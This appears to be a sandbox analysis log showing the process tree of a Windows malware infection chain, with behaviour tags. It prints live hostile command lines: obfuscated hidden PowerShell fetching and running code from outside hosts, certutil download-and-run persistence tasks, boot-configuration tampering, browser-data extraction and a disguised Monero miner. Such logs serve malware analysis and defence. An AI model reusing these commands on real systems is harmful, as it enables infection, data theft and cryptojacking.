C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:110⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:110⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:110⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --mojo-platform-channel-handle=2084 /prefetch:810⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2032 /prefetch:210⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3884 /prefetch:110⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --mojo-platform-channel-handle=4696 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\vifm1o51bym\hg3zktuxay3.exe"C:\Users\Admin\AppData\Local\Temp\vifm1o51bym\hg3zktuxay3.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-6ENAB.tmp\hg3zktuxay3.tmp"C:\Users\Admin\AppData\Local\Temp\is-6ENAB.tmp\hg3zktuxay3.tmp" /SL5="$1029A,870426,780800,C:\Users\Admin\AppData\Local\Temp\vifm1o51bym\hg3zktuxay3.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-S1DBT.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-S1DBT.tmp\winlthst.exe" test1 test110⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\gUhu37Rtz.exe"C:\Users\Admin\AppData\Local\Temp\gUhu37Rtz.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im gUhu37Rtz.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\gUhu37Rtz.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im gUhu37Rtz.exe /f13⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
-
C:\Users\Admin\AppData\Local\Temp\dauhcorr4tu\vict.exe"C:\Users\Admin\AppData\Local\Temp\dauhcorr4tu\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-D2OVI.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-D2OVI.tmp\vict.tmp" /SL5="$1029C,870426,780800,C:\Users\Admin\AppData\Local\Temp\dauhcorr4tu\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-74BUQ.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-74BUQ.tmp\wimapi.exe" 53510⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\qnzbDJ9MY.exe"C:\Users\Admin\AppData\Local\Temp\qnzbDJ9MY.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im qnzbDJ9MY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\qnzbDJ9MY.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im qnzbDJ9MY.exe /f13⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
-
C:\Users\Admin\AppData\Local\Temp\bnop32zyxzg\safebits.exe"C:\Users\Admin\AppData\Local\Temp\bnop32zyxzg\safebits.exe" /S /pubid=1 /subid=4518⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\x4iqulw3ecc\app.exe"C:\Users\Admin\AppData\Local\Temp\x4iqulw3ecc\app.exe" /8-238⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\x4iqulw3ecc\app.exe"C:\Users\Admin\AppData\Local\Temp\x4iqulw3ecc\app.exe" /8-239⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F11⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"11⤵
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 012⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 112⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 012⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy12⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v11⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\ww31.exeC:\Users\Admin\AppData\Local\Temp\csrss\ww31.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exeC:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exeC:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exeC:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://humisnee.com/test.php?uuid=a49cacae-a88b-4f91-85c0-ef0dc9e43d69&browser=chrome13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb65526e00,0x7ffb65526e10,0x7ffb65526e2014⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2200 /prefetch:814⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1696 /prefetch:814⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1648 /prefetch:214⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3756 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2832 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2604 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4216 /prefetch:114⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5684 /prefetch:814⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5896 /prefetch:814⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1400 /prefetch:814⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4997065627830487686,4248065489687868809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=848 /prefetch:814⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exeC:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exe11⤵
- Checks computer location settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exeC:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\m672.exeC:\Users\Admin\AppData\Local\Temp\csrss\m672.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\zchkummxfuh\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\zchkummxfuh\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-CUV1Q.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-CUV1Q.tmp\Setup3310.tmp" /SL5="$1028C,802346,56832,C:\Users\Admin\AppData\Local\Temp\zchkummxfuh\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-4DJFV.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-4DJFV.tmp\Setup.exe" /Verysilent10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-UAG99.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-UAG99.tmp\Setup.tmp" /SL5="$601D4,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-4DJFV.tmp\Setup.exe" /Verysilent11⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\ProPlugin.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4195B.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-4195B.tmp\ProPlugin.tmp" /SL5="$3047C,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\ProPlugin.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ULC44.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-ULC44.tmp\Setup.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"15⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\curl.execurl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k16⤵
-
C:\Windows\regedit.exeregedit /s chrome.reg16⤵
- Runs .reg file with regedit
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe16⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat16⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)17⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"19⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd8,0xdc,0xe0,0x8,0xe4,0x7ffb65526e00,0x7ffb65526e10,0x7ffb65526e2020⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:820⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1692 /prefetch:820⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2724 /prefetch:120⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:120⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:120⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2712 /prefetch:120⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1644 /prefetch:220⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3840 /prefetch:120⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4572 /prefetch:820⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:820⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,4434298526280119988,17803149524287196128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:820⤵
-
C:\Windows\regedit.exeregedit /s chrome-set.reg16⤵
- Runs .reg file with regedit
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b firefox16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b chrome16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b edge16⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\DataFinder.exe" /Verysilent12⤵
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"13⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\Delta.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5V1O5.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-5V1O5.tmp\Delta.tmp" /SL5="$604EA,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-QB3GG.tmp\Delta.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-34QVG.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-34QVG.tmp\Setup.exe" /VERYSILENT14⤵
-
